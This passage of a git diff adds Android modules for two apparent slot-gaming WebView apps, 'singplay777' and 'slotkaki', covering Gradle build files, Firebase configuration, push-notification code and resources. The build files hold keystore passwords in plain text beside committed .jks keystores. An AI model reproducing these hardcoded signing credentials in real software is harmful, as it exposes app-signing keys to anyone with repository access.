a/sgwin66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sgwin66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sgwin66/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/singplay777/.gitignore b/singplay777/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/singplay777/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/singplay777/build.gradle b/singplay777/build.gradle new file mode 100644 index 0000000..5b207f6 --- /dev/null +++ b/singplay777/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.singplay777" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "singplay777" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/singplay777/dskjweb.jks b/singplay777/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/singplay777/dskjweb.jks differ diff --git a/singplay777/google-services.json b/singplay777/google-services.json new file mode 100644 index 0000000..7cd11e3 --- /dev/null +++ b/singplay777/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "475141976841", + "project_id": "singplay777-94610", + "storage_bucket": "singplay777-94610.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:475141976841:android:92cde3e620106e63b899d8", + "android_client_info": { + "package_name": "com.web.singplay777" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDXyL-jklN4wbzg2ZK47Eo629jYR-BaRlU" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/singplay777/ppn.jks b/singplay777/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/singplay777/ppn.jks differ diff --git a/singplay777/proguard-rules.pro b/singplay777/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/singplay777/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/singplay777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/singplay777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/singplay777/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/singplay777/src/main/AndroidManifest.xml b/singplay777/src/main/AndroidManifest.xml new file mode 100644 index 0000000..41e06d4 --- /dev/null +++ b/singplay777/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/java/com/web/singplay777/MainActivity.java b/singplay777/src/main/java/com/web/singplay777/MainActivity.java new file mode 100644 index 0000000..ce04679 --- /dev/null +++ b/singplay777/src/main/java/com/web/singplay777/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.singplay777; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 203; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://singplay777.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fe0000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fffdf0"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/singplay777/src/main/java/com/web/singplay777/MyFirebaseMessageingService.java b/singplay777/src/main/java/com/web/singplay777/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b22b193 --- /dev/null +++ b/singplay777/src/main/java/com/web/singplay777/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.singplay777; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/singplay777/src/main/java/com/web/singplay777/WebApplication.java b/singplay777/src/main/java/com/web/singplay777/WebApplication.java new file mode 100644 index 0000000..b628023 --- /dev/null +++ b/singplay777/src/main/java/com/web/singplay777/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.singplay777; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/singplay777/src/main/res/drawable-anydpi/ic_action_back.xml b/singplay777/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/singplay777/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/singplay777/src/main/res/drawable-hdpi/ic_action_back.png b/singplay777/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/singplay777/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/singplay777/src/main/res/drawable-mdpi/ic_action_back.png b/singplay777/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/singplay777/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/singplay777/src/main/res/drawable-v24/ic_launcher_foreground.xml b/singplay777/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/singplay777/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable-xhdpi/ic_action_back.png b/singplay777/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/singplay777/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/singplay777/src/main/res/drawable-xxhdpi/ic_action_back.png b/singplay777/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/singplay777/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/singplay777/src/main/res/drawable/big_bg.xml b/singplay777/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b55c3bb --- /dev/null +++ b/singplay777/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/ic_launcher_background.xml b/singplay777/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/singplay777/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/singplay777/src/main/res/drawable/input_bg.xml b/singplay777/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/singplay777/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/singplay777/src/main/res/drawable/pass_word_bg.xml b/singplay777/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/singplay777/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/singplay777/src/main/res/drawable/pass_word_bg1.xml b/singplay777/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/singplay777/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/pass_word_bg2.xml b/singplay777/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/singplay777/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/shape_btn_bg.xml b/singplay777/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/singplay777/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/shape_dialog_bg2.xml b/singplay777/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/singplay777/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/shape_dialog_bg3.xml b/singplay777/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/singplay777/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/drawable/shape_dialog_bg_new.xml b/singplay777/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/singplay777/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/singplay777/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/mipmap-hdpi/ic_empty.png b/singplay777/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/singplay777/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/singplay777/src/main/res/mipmap-hdpi/ic_pull_down.png b/singplay777/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/singplay777/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/singplay777/src/main/res/mipmap-xhdpi/ic_close.png b/singplay777/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/singplay777/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/singplay777/src/main/res/mipmap-xhdpi/ic_menu.png b/singplay777/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/singplay777/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/singplay777/src/main/res/mipmap-xxhdpi/app_logo.png b/singplay777/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..97e5f23 Binary files /dev/null and b/singplay777/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/singplay777/src/main/res/values-en/strings.xml b/singplay777/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/singplay777/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/singplay777/src/main/res/values-night/themes.xml b/singplay777/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/singplay777/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/values/colors.xml b/singplay777/src/main/res/values/colors.xml new file mode 100644 index 0000000..6ca89e3 --- /dev/null +++ b/singplay777/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fe0000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/singplay777/src/main/res/values/strings.xml b/singplay777/src/main/res/values/strings.xml new file mode 100644 index 0000000..6a33c37 --- /dev/null +++ b/singplay777/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Singplay777 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/values/themes.xml b/singplay777/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/singplay777/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/xml/app_updater_paths.xml b/singplay777/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/singplay777/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/xml/network_security_config.xml b/singplay777/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/singplay777/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/singplay777/src/main/res/xml/provider_paths.xml b/singplay777/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/singplay777/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/singplay777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/singplay777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/singplay777/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/slotkaki/.gitignore b/slotkaki/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/slotkaki/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/slotkaki/build.gradle b/slotkaki/build.gradle new file mode 100644 index 0000000..ba657ed --- /dev/null +++ b/slotkaki/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.slotkaki33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "slotkaki33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/slotkaki/google-services.json b/slotkaki/google-services.json new file mode 100644 index 0000000..b0f9a8c --- /dev/null +++ b/slotkaki/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "886120480104", + "project_id": "slotkaki-cf43e", + "storage_bucket": "slotkaki-cf43e.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:886120480104:android:b563d46c96f98430866add", + "android_client_info": { + "package_name": "com.xyz.slotkaki33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD2Il3ICLSGoLM7abIxk8rA1KSCOZ7NRnA" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/slotkaki/justlet.jks b/slotkaki/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/slotkaki/justlet.jks differ diff --git a/slotkaki/ppn.jks b/slotkaki/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/slotkaki/ppn.jks differ diff --git a/slotkaki/proguard-rules.pro b/slotkaki/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/slotkaki/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack 